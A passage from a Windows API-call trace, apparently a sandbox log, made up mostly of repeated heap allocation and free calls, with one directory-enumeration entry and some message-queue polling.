Size=0xe0) returned 0x329fc80 [0115.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x984674a0, ftCreationTime.dwHighDateTime=0x1d4c629, ftLastAccessTime.dwLowDateTime=0xfe4e74a0, ftLastAccessTime.dwHighDateTime=0x1d4c7f0, ftLastWriteTime.dwLowDateTime=0xfe4e74a0, ftLastWriteTime.dwHighDateTime=0x1d4c7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f5IF7l Fg-1E1w", cAlternateFileName="F5IF7L~1")) returned 0 [0115.665] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251a80 | out: hHeap=0x660000) returned 1 [0115.666] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33203d8 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32367d0 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32519b8 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323138 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323200 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321690 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251da0 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0678 [0115.666] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.667] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.672] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) 